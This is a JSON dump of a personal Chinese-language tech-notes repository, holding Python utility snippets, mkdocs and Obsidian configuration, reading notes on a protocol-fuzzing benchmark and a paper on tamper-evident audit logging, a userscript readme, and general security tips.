hspace=sep[1])\r\n    \r\n    index = -1\r\n    for data in DATA:\r\n        index += 1\r\n        ax = plt.Subplot(fig, inner[index])\r\n        fig.add_subplot(ax)\r\n        plt.title(data[\"name\"])\r\n        for i, line in enumerate(data[\"lines\"]):\r\n            plt.plot(*line, label=labels[i], color=colors[i])\r\n            ax = plt.gca()\r\n            ax.title.set_fontsize(fontsize)\r\n            plt.xlabel(xlabel, fontsize=fontsize-2)\r\n            plt.ylabel(ylabel, fontsize=fontsize-2)\r\n    ax=plt.Subplot(fig, outer[0])\r\n    ax.set_ylabel('')\r\n    ax.set_xlabel('')\r\n    fig.add_subplot(ax)\r\n    ax = sns.boxplot(x=[0]*len(labels), y=[0]*len(labels), sym='', hue=labels, linewidth=0, palette=colors, ax=ax, boxprops={\"linestyle\":\"None\"})\r\n    ax.spines['right'].set_visible(False)\r\n    ax.spines['top'].set_visible(False)\r\n    ax.spines['left'].set_visible(False)\r\n    ax.spines['bottom'].set_visible(False)\r\n    plt.xticks([])\r\n    plt.yticks([])\r\n    handles, labels = ax.get_legend_handles_labels()\r\n    plt.legend(handles, labels, loc='center', ncol=8, fontsize=fontsize-1)\r\n    plt.show()\r\n```\r\n\r\n----\r\n\r\n## 从一系列zip文件中提取C代码\r\n\r\n```\r\nfrom zipfile import ZipFile\r\nimport os\r\nfor i in os.listdir():\r\n    print(i)\r\n    z = ZipFile(i)\r\n    files = [i.filename for i in z.filelist if i.filename.lower().endswith(\".c\") or i.filename.lower().endswith(\".cpp\")]\r\n    files = [i for i in files if \"StdAfx\" not in i]\r\n    print(files)\r\n    contents = b\"\"\r\n    for f in files:\r\n        c = z.open(f).read()\r\n        if c in contents:\r\n            continue\r\n        contents += c\r\n    open(\"../output/\"+i.split(\".\")[0]+\".asm\", \"wb\").write(contents)\r\n```\r\n----\r\n\r\n## 在一批文本中查找可能的密钥\r\n\r\n密钥字符串一般为随机字符串，而非英文单词，根据这一特征，我们可以使用去除常见英文单词后的信息熵这一特征来找出可能的密钥字符串\r\n\r\n```\r\nimport re\r\nfrom password_strength import PasswordStats\r\ncommonwords = set(i.strip() for i in open(\"google-10000-english.txt\").readlines())\r\ndef text_entropy(text):\r\n    for word in re.split('[^a-zA-Z]', text):\r\n        if word in commonwords:\r\n            text = text.replace(word, \"\")\r\n    if not text:\r\n        return 0\r\n    return PasswordStats(text).strength()\r\n\r\n```\r\n\r\n参考：\r\n\r\n- https://pypi.org/project/password-strength/\r\n- https://github.com/first20hours/google-10000-english/\r\n\r\n\r\n------\r\n\r\n## HTTP Server自动git pull\r\n\r\n用在github hook自动重启应用\r\n\r\n```\r\nimport http.server as BaseHTTPServer\r\nimport os, time\r\nTARGET=[\"/app\"]\r\nlasttime = 0\r\nclass APIHandler(BaseHTTPServer.BaseHTTPRequestHandler):\r\n    def do_POST(self):\r\n        global lasttime\r\n        if time.time() - lasttime > 60:\r\n            lasttime = time.time()\r\n            for path in TARGET:\r\n                os.chdir(path)\r\n                os.system(\"git pull && docker restart app\")\r\n            data = b\"ok\"\r\n        else:\r\n            data = b\"419\"\r\n        self.wfile.write((\"HTTP/1.1 200 OK\\r\\nContent-Type: text/html\\r\\nContent-Length: %d\\r\\n\\r\\n\"%len(data)).encode(\"ascii\"))\r\n        self.wfile.write(data)\r\n\r\nif __name__ == \"__main__\":\r\n    port = 2228\r\n    httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', port), APIHandler)\r\n    httpd.serve_forever()\r\n```\r\n\r\n"
  },
  {
    "path": "mkdocs.yml",
    "content": "site_name: notebook\r\nrepo_url: https://github.com/zjuchenyuan/notebook/\r\nsite_description: 我的技术笔记本~\r\nsite_author: chenyuan\r\ntheme:\r\n  name: 'material'\r\ndocs_dir: 'mdfiles'\r\nsite_dir: 'docs'\r\nedit_uri: 'edit/master/'\r\nextra_javascript:\r\n    - assets/js/instantclick.min.js\r\n    - assets/js/index.js\r\ncopyright: '<a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>'\r\nnav:\r\n    - Home: README.md\r\n    - Python: \r\n        - Python: Python.md\r\n        - Gist Python一些常用代码片段: gist.md\r\n        - Course Python程序设计: PythonCourse.md\r\n    - Programming Languages:\r\n        - BASH: BASH.md\r\n        - BAT批处理: BAT.md\r\n        - C语言: C.md\r\n        - Java: \r\n            - Java: Java.md\r\n            - S2-045: S2-045.md\r\n        - JavaScript: JavaScript.md\r\n        - PHP: PHP.md\r\n        \r\n    - Web:\r\n        - CDN: CDN.md\r\n        - cURL: cURL.md\r\n        - Favorites: \r\n            - Favorites: Favorites.md\r\n            - Github Project Recommendation: GithubProjectRecommendation.md\r\n            - 更多链接: Links.md\r\n        - Flask: Flask.md\r\n        - MySQL: MySQL.md\r\n        - Nginx: Nginx.md\r\n        - RabbitMQ: RabbitMQ.md\r\n\r\n    - Development:\r\n        - Developer: Developer.md\r\n        - Docker: Docker.md\r\n        - ETH: ETH.md\r\n        - Git: Git.md\r\n        - Jekyll: Jekyll.md\r\n        - Paper Reading: PaperReading.md\r\n        - WindowsSoftware: WindowsSoftware.md\r\n\r\n    - Fuzzing:\r\n        - DFSan: dfsan.md\r\n\r\n    - Fun:\r\n        - Bitcoin: Bitcoin.md\r\n\r\n    - Linux:\r\n            - Linux-backup: Linux-backup.md\r\n            - Linux-setup: Linux-setup.md\r\n            - Linux-SSH: Linux-SSH.md\r\n            - Linux-cli: Linux-cli.md\r\n            - Linux-VirtualBox: Linux-VirtualBox.md\r\n            - Ubuntu: Ubuntu.md\r\n\r\n    - My Projects:\r\n        - ZJU grs helper: zjugrshelper.md\r\n        - CCF Badge: ccfbadge.md\r\n    \r\n    \r\n \r\nmarkdown_extensions:\r\n  - admonition\r\n  - codehilite\r\n  - smarty\r\n  - sane_lists\r\n  - meta\r\n  - toc:\r\n      permalink: True"
  },
  {
    "path": "paperreading/.obsidian/config",
    "content": "{\"theme\":\"obsidian\",\"pluginEnabledStatus\":{\"file-explorer\":true,\"global-search\":true,\"switcher\":true,\"graph\":true,\"backlink\":true,\"command-palette\":true,\"markdown-importer\":true,\"word-count\":true,\"open-with-default-app\":true,\"page-preview\":true,\"starred\":true,\"tag-pane\":true,\"zk-prefixer\":true,\"random-note\":true,\"outline\":true,\"translucency\":false,\"workspaces\":true},\"attachmentFolderPath\":\"images\",\"enabledPlugins\":[]}"
  },
  {
    "path": "paperreading/.obsidian/graph.json",
    "content": "{\"search\":\"\",\"showTags\":false,\"showAttachments\":false,\"hideUnresolved\":false,\"showOrphans\":true,\"showArrow\":false,\"textFadeMultiplier\":0,\"nodeSizeMultiplier\":1,\"lineSizeMultiplier\":1,\"centerStrength\":0.518713248970312,\"repelStrength\":10,\"linkStrength\":1,\"linkDistance\":250,\"scale\":1}"
  },
  {
    "path": "paperreading/.obsidian/plugins/cm-editor-syntax-highlight-obsidian/manifest.json",
    "content": "{\n  \"id\": \"cm-editor-syntax-highlight-obsidian\",\n  \"name\": \"Editor Syntax Highlight\",\n  \"author\": \"death_au\",\n  \"description\": \"Show syntax highlighing in code blocks the editor\",\n  \"isDesktopOnly\": false,\n  \"version\": \"0.1.1\"\n}"
  },
  {
    "path": "paperreading/.obsidian/plugins/cm-editor-syntax-highlight-obsidian/styles.css",
    "content": "@charset \"UTF-8\";\n.cm-s-obsidian pre.HyperMD-codeblock span.cm-formatting-code-block {\n  color: var(--text-muted);\n}\n\n.cm-s-obsidian pre.HyperMD-codeblock .cm-keyword {\n  font-weight: normal;\n}\n\n.theme-dark .cm-s-obsidian {\n  /*\n\n  Name:       yoncé\n  Author:     Thomas MacLean (http://github.com/thomasmaclean)\n\n  Original yoncé color scheme by Mina Markham (https://github.com/minamarkham)\n\n  */\n  /**/\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock {\n  color: #d4d4d4;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-keyword,\n.theme-dark .cm-s-obsidian .cm-math.cm-keyword,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-keyword {\n  color: #00A7AA;\n  font-weight: normal;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-atom,\n.theme-dark .cm-s-obsidian .cm-math.cm-atom,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-atom {\n  color: #F39B35;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-number,\n.theme-dark .cm-s-obsidian .cm-math.cm-number,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-number {\n  color: #A06FCA;\n}\n.theme-dark .cm-s-obsidian span.cm-hmd-frontmatter.cm-type,\n.theme-dark .cm-s-obsidian span.cm-math.cm-type,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock span.cm-type {\n  color: #A06FCA;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-def,\n.theme-dark .cm-s-obsidian .cm-math.cm-def,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-def {\n  color: #98E342;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-property,\n.theme-dark .cm-s-obsidian .cm-math.cm-property,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-property {\n  color: #D4D4D4;\n}\n.theme-dark .cm-s-obsidian span.cm-hmd-frontmatter.cm-variable,\n.theme-dark .cm-s-obsidian span.cm-math.cm-variable,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock span.cm-variable {\n  color: #D4D4D4;\n}\n.theme-dark .cm-s-obsidian span.cm-hmd-frontmatter.cm-variable-2,\n.theme-dark .cm-s-obsidian span.cm-math.cm-variable-2,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock span.cm-variable-2 {\n  color: #da7dae;\n}\n.theme-dark .cm-s-obsidian span.cm-hmd-frontmatter.cm-variable-3,\n.theme-dark .cm-s-obsidian span.cm-math.cm-variable-3,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock span.cm-variable-3 {\n  color: #A06FCA;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-type.cm-def,\n.theme-dark .cm-s-obsidian .cm-math.cm-type.cm-def,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-type.cm-def {\n  color: #FC4384;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-property.cm-def,\n.theme-dark .cm-s-obsidian .cm-math.cm-property.cm-def,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-property.cm-def {\n  color: #FC4384;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-callee,\n.theme-dark .cm-s-obsidian .cm-math.cm-callee,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-callee {\n  color: #FC4384;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-operator,\n.theme-dark .cm-s-obsidian .cm-math.cm-operator,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-operator {\n  color: #FC4384;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-qualifier,\n.theme-dark .cm-s-obsidian .cm-math.cm-qualifier,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-qualifier {\n  color: #FC4384;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-tag,\n.theme-dark .cm-s-obsidian .cm-math.cm-tag,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-tag {\n  color: #FC4384;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-tag.cm-bracket,\n.theme-dark .cm-s-obsidian .cm-math.cm-tag.cm-bracket,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-tag.cm-bracket {\n  color: #D4D4D4;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-attribute,\n.theme-dark .cm-s-obsidian .cm-math.cm-attribute,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-attribute {\n  color: #A06FCA;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-comment,\n.theme-dark .cm-s-obsidian .cm-math.cm-comment,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-comment {\n  color: #696d70;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-comment.cm-tag,\n.theme-dark .cm-s-obsidian .cm-math.cm-comment.cm-tag,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-comment.cm-tag {\n  color: #FC4384;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-comment.cm-attribute,\n.theme-dark .cm-s-obsidian .cm-math.cm-comment.cm-attribute,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-comment.cm-attribute {\n  color: #D4D4D4;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-string,\n.theme-dark .cm-s-obsidian .cm-math.cm-string,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-string {\n  color: #E6DB74;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-string-2,\n.theme-dark .cm-s-obsidian .cm-math.cm-string-2,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-string-2 {\n  color: #F39B35;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-meta,\n.theme-dark .cm-s-obsidian .cm-math.cm-meta,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-meta {\n  color: #D4D4D4;\n  background: inherit;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-builtin,\n.theme-dark .cm-s-obsidian .cm-math.cm-builtin,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-builtin {\n  color: #FC4384;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-header,\n.theme-dark .cm-s-obsidian .cm-math.cm-header,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-header {\n  color: #da7dae;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-hr,\n.theme-dark .cm-s-obsidian .cm-math.cm-hr,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-hr {\n  color: #98E342;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-link,\n.theme-dark .cm-s-obsidian .cm-math.cm-link,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-link {\n  color: #696d70;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.cm-error,\n.theme-dark .cm-s-obsidian .cm-math.cm-error,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .cm-error {\n  border-bottom: 1px solid #C42412;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.CodeMirror-activeline-background,\n.theme-dark .cm-s-obsidian .cm-math.CodeMirror-activeline-background,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .CodeMirror-activeline-background {\n  background: #272727;\n}\n.theme-dark .cm-s-obsidian .cm-hmd-frontmatter.CodeMirror-matchingbracket,\n.theme-dark .cm-s-obsidian .cm-math.CodeMirror-matchingbracket,\n.theme-dark .cm-s-obsidian pre.HyperMD-codeblock .CodeMirror-matchingbracket {\n  outline: 1px solid grey;\n  color: #D4D4D4 !important;\n}"
  },
  {
    "path": "paperreading/.obsidian/workspace",
    "content": "{\n  \"main\": {\n    \"id\": \"e43062274b77c03d\",\n    \"type\": \"split\",\n    \"children\": [\n      {\n        \"id\": \"4fb59c4e49abd5f4\",\n        \"type\": \"leaf\",\n        \"active\": true,\n        \"state\": {\n          \"type\": \"markdown\",\n          \"state\": {\n            \"file\": \"ProFuzzBench Arxiv.md\",\n            \"mode\": \"source\"\n          }\n        }\n      }\n    ],\n    \"direction\": \"vertical\"\n  },\n  \"left\": {\n    \"id\": \"59e06e768b99b5b3\",\n    \"type\": \"split\",\n    \"children\": [\n      {\n        \"id\": \"beead66f77e28fdc\",\n        \"type\": \"tabs\",\n        \"children\": [\n          {\n            \"id\": \"92f14f398aef53af\",\n            \"type\": \"leaf\",\n            \"state\": {\n              \"type\": \"file-explorer\",\n              \"state\": {}\n            }\n          },\n          {\n            \"id\": \"83ddeff6fd82cdd1\",\n            \"type\": \"leaf\",\n            \"state\": {\n              \"type\": \"search\",\n              \"state\": {\n                \"query\": \"\",\n                \"matchingCase\": false,\n                \"explainSearch\": false,\n                \"collapseAll\": false,\n                \"extraContext\": false,\n                \"sortOrder\": \"alphabetical\"\n              }\n            }\n          },\n          {\n            \"id\": \"123945014ca1fb02\",\n            \"type\": \"leaf\",\n            \"state\": {\n              \"type\": \"starred\",\n              \"state\": {}\n            }\n          }\n        ]\n      }\n    ],\n    \"direction\": \"horizontal\",\n    \"width\": 300\n  },\n  \"right\": {\n    \"id\": \"842a03467707b10a\",\n    \"type\": \"split\",\n    \"children\": [\n      {\n        \"id\": \"f8a0a53d6ecd0855\",\n        \"type\": \"tabs\",\n        \"children\": [\n          {\n            \"id\": \"0a9305f3399c9618\",\n            \"type\": \"leaf\",\n            \"state\": {\n              \"type\": \"backlink\",\n              \"state\": {\n                \"file\": \"ProFuzzBench Arxiv.md\",\n                \"collapseAll\": false,\n                \"extraContext\": false,\n                \"sortOrder\": \"alphabetical\",\n                \"backlinkCollapsed\": false,\n                \"unlinkedCollapsed\": true\n              }\n            }\n          },\n          {\n            \"id\": \"f98aa5a4a4011b68\",\n            \"type\": \"leaf\",\n            \"state\": {\n              \"type\": \"tag\",\n              \"state\": {\n                \"sortOrder\": \"frequency\"\n              }\n            }\n          },\n          {\n            \"id\": \"1e312e851bdb0470\",\n            \"type\": \"leaf\",\n            \"state\": {\n              \"type\": \"outline\",\n              \"state\": {\n                \"file\": \"ProFuzzBench Arxiv.md\"\n              }\n            }\n          }\n        ],\n        \"currentTab\": 2\n      }\n    ],\n    \"direction\": \"horizontal\",\n    \"width\": 300,\n    \"collapsed\": true\n  },\n  \"lastOpenFiles\": [\n    \"ProFuzzBench Arxiv.md\",\n    \"images/Pasted image 20210117010835.png\",\n    \"images%2FPasted%20image%2020210117010835.png.md\",\n    \"kennyloggings ccs2020.md\",\n    \"images/Pasted image 20201202205754.png\",\n    \"images/Pasted image 20201202205654.png\",\n    \"ProFuzzBench targets.jpg.md\",\n    \"Untitled.md\",\n    \"ccs2020.md\"\n  ]\n}"
  },
  {
    "path": "paperreading/ProFuzzBench Arxiv.md",
    "content": "## ProFuzzBench\n[[协议fuzzing]] [[fuzzing]]\n\nhttps://github.com/profuzzbench/profuzzbench\n\n协议fuzzing的特别之处：\nstateful 不仅仅取决于当前执行的单个消息（已经很大空间了），还可以由之前执行过的消息的组合影响\n\nResearch on fuzzing is of experimental nature\n依赖于heuristics 比如seed选择 mutator——比如数组越界 那就设计出interger的变异策略\n\n人家选择的协议、实现、描述、状态在哪、相关paper和工业界工具\n![[Pasted image 20210117010835.png]]\n\n设计benchmark：\n怎么选的目标，实现自动化测试，讨论open question\n\n修改被测程序：\n- 去掉随机化 保证可重现性 可比较性\n- 减少或移除延迟\n- 针对AFLNET的要求 需要加marker表示结束\n- fuzzer需要keep track of协议状态 给不同状态不同返回值\n\n### 表达\n\n做benchmark邀请大家来用，来扩展：\nWe release the benchmark as open-source, inviting the community to use it for evaluation of new fuzzing techniques, and for further extend it with more targets.\n\n用gcov编译的表达：\n第二次编译，在fuzzing结束后用来算覆盖率指标\nThe target software is compiled a second time with support for gcov: this binary will be used in the last stage of the benchmark, in order to compute coverage metrics after fuzzing.\n\n协议fuzzing的open questions:\n- 多方协议 配置文件复杂不同配置决定了不同覆盖率上限；VoIP call需要两个client，目前没有工具考虑\n- 确定性执行 大量使用线程和基于事件的IO 有些程序的稳定性仍然低于50%\n- 执行速度 SIP速度5次/秒 DAAP每次执行都需要2秒初始化\n- 确定状态 即使有源码也可能需要推断状态 如RTSP消息里面没有当前状态\n\n每一节讨论了啥：\n- Section 3 elaborates on ...\n- presents ...\n- discusses challenges for ...\n- concludes the paper\n- the table provides a brief description of ...\n\n"
  },
  {
    "path": "paperreading/ccs2020.md",
    "content": ""
  },
  {
    "path": "paperreading/kennyloggings ccs2020.md",
    "content": "# kennyloggings ccs2020\n\nLogging to the Danger Zone: Race Condition Attacks and\nDefenses on System Audit Frameworks\n\n[[ccs2020]] [[log]] [[audit]]\n\n在被黑后审计日志，至少知道被黑了， 打破之前的假设 事件的发生与日志的写入存在可以攻击的时间窗口，可以条件竞争攻击\n防御方案：在内核做密码学commit 日志不可篡改——使用单向hash不断更新key （不可回退），每个event都更新 BLAKE2 hash来更新 SipHash伪随机来签名\n\n需要保证顺序：用已有的critical section即可\n为了性能考虑： 预先计算一大批key轮换，用完了就背景thread\n还需要考虑关机怎么办：用TPM把当前签名的key给密封起来\n对日志的修改、删除、插入重排、截断都能发现，截断的话可以在开始验证之前写一个新的message去验证之前消息的缺失\n初始化的时候假设没联网 部署就没有额外的攻击面了\n\n![[Pasted image 20201202205654.png]]\n![[Pasted image 20201202205754.png]]\n\n## 单词/写法\n\nbe concomitant with 伴随的\nchallenge this assumption by presenting and validating a ... attack 提出一种攻击来打破之前的假设\nsnatch 夺取 攻击者可以从buffer中夺取他们入侵行为的事件\nincriminating 牵连 日志是入侵行为的证据\n考虑有0day的攻击者 when considering a sophisticated adversary in possession of valuable zero-day kernel exploits\nbacklog 积压\nbe ingested for processing by ... 被用户态的audit daemon消化 认为是安全的\nquiescent 静止的 不活动的\n说明服务器有多少个CPU：with 8 logical CPU cores (4.20 GHz Intel Core i7-7700K)\n攻击者狡猾 an astute adversary \nfootprint 攻击足迹\nprotect against the perils described above 保护免于上述危险\nAnalogous to prior work 和前人的工作保持一致\nfalter 蹒跚地走 之前的方案不行\nwe extrapolate that 推测\nfurther squeezing performance out of the scheme 挤出性能\nOur empirical study of ... serves as a first step towards understanding this security-performance trade-off in practice 我们的研究是第一步\n可以互补但需要注意性能 The more sophisticated schemes described here are interoperable with our system design, but careful **vetting** is required to ...\n这个领域的攻击和防御都很多 There exist decades of research on highlighting and protecting from the dangers of race conditions in operating systems.\n\n## 新知识\n\n[[市场份额]] 全球日志管理软件 百万级\n[[syscall]] 现代主机上每秒就会产生百万系统调用\n取证相关audit ruleset: \\[32, 60, 68, 89]\n前向安全：攻击者获得tn时刻的秘密 不能伪造之前时刻的完整性证明\n\n## 图表\n\n用syscall的burst表示系统负载，测试不同负载下处理的延迟，重复200次 CDF\n不同负载重复100次执行 两种攻击（local remote）拦截成功率 和 标准差\nMicrobenchmarks的syscall延迟 小图不同的系统调用，横坐标线程数量，比较Vanilla和自己\n应用测试 还是比较时间算overhead，同时给出syscall events数量 说CPU密集型不受影响\n预先计算key的优化效果\n\n## future work\n\n公开验证性 让第三方验证日志的authenticity 而不需要secret key\n聚合验证 增加中间层可信验证者 证明中间这一段没有发生日志篡改 让后续的验证更快\n后续又新的密码学算法成熟/硬件加速 性能还能提升\n不要每个消息都换key 对一个epoch使用相同的key进行签名 攻击者足够快就能不被发现\n对其他框架 Windows上\n其他攻击策略 塞满buffer导致丢失或dos但这不够stealthy，攻击其他的队列：用户态队列，IO存储队列，网络队列\n\n\n\n\n"
  },
  {
    "path": "tagalias.txt",
    "content": "端口转发=port forwarding\r\n"
  },
  {
    "path": "zjugrshelper.md",
    "content": "# ZJU grs helper 浙大研究生选课助手\r\n\r\n版本: v0.5.0\r\n\r\n目前的功能列表：\r\n\r\n- “全校开课情况查询”页面 直接进入选课——不再迷茫于没开的课程\r\n- 整合查老师分数与评论显示，选课界面直接看评分——选个好点的老师呗\r\n- 只看特定校区的课程班级——不想校区间奔波？减轻人工筛选负担\r\n- 禁用顶部鼠标切换事件，不用再小心翼翼地移动鼠标\r\n- 登录页面自动识别验证码 如果识别有误可以点击验证码图片再次识别\r\n\r\n## 安装方法\r\n\r\n[用 Chrome 的人都需要知道的「神器」扩展：Tampermonkey使用详解](https://sspai.com/post/40485)\r\n\r\n然后戳这个链接 确认安装：\r\n\r\nhttps://github.com/zjuchenyuan/notebook/raw/master/code/zju_grs_helper.user.js\r\n\r\n然后就能进入选课咯：如全校开课情况查询\r\n\r\nhttp://grs.zju.edu.cn/py/page/student/lnsjCxdc.htm\r\n\r\n在使用过程中 遇到以下弹框请务必选择**总是允许域名**\r\n\r\n![](https://py3.io/assets/img/grshelper_note2.jpg)\r\n\r\n_谁能教教我为啥用`@connect chalaoshi.cn`就是不行啊_\r\n\r\n### 配置项\r\n\r\n只显示特定校区课程：修改代码中的`CONFIG_XQ`变量\r\n\r\n## 使用方法\r\n\r\n1. 登录选课网站 http://grs.zju.edu.cn/allogene/page/home.htm\r\n2. 打开“全校开课情况查询”页面（`培养`的最右侧项） http://grs.zju.edu.cn/py/page/student/lnsjCxdc.htm\r\n3. 选择`开课学院`，例如`经济学院`，查询 \r\n\r\n    ![](https://py3.io/assets/img/grshelper_note1.jpg)\r\n\r\n    可见`开课号`现在可以点击，找到你想选的课程，即可进入选课\r\n\r\n4. 在选课列表中显示[查老师网站](https://chalaoshi.soobb.com)上的评分数据（如果有多条数据则都显示）\r\n\r\n    ![](https://py3.io/assets/img/grshelper_note3.png)\r\n\r\n5. 可以点开评分数据查看评论 虽然现在样式emmmm\r\n\r\n    ![](https://py3.io/assets/img/grshelper_note4.png)\r\n\r\n## 欢迎反馈与贡献\r\n\r\n使用遇到bug？需要更多功能？来提个issue吧：\r\n\r\nhttps://github.com/zjuchenyuan/notebook/issues\r\n\r\n欢迎给个star咯：\r\n\r\nhttps://github.com/zjuchenyuan/notebook"
  },
  {
    "path": "谈谈安全.md",
    "content": "\r\n\r\n# How to keep safe?\r\n\r\n* The Big Brother Is Watching You\r\n\r\n* 闷声发大财才是最吼滴\r\n\r\n* 任何服务器、服务提供商上绝对不能明文存储涉密文件、服务器密钥、密码笔记\r\n\r\n* 备份文件、历史邮件的安全性更应重视，及时清空历史文件，给攻击者更少的线索能有效加大攻击难度\r\n\r\n* 启用一切能启用的两步验证，不要使用浏览器的保存密码功能\r\n\r\n* 让攻击者迷失在一大群无用文件中或许是一种好方法\r\n\r\n* 对技术、法律心存敬畏，对待安全不能偷懒！\r\n\r\n* 周期性更换密码和服务器密钥"
  }
]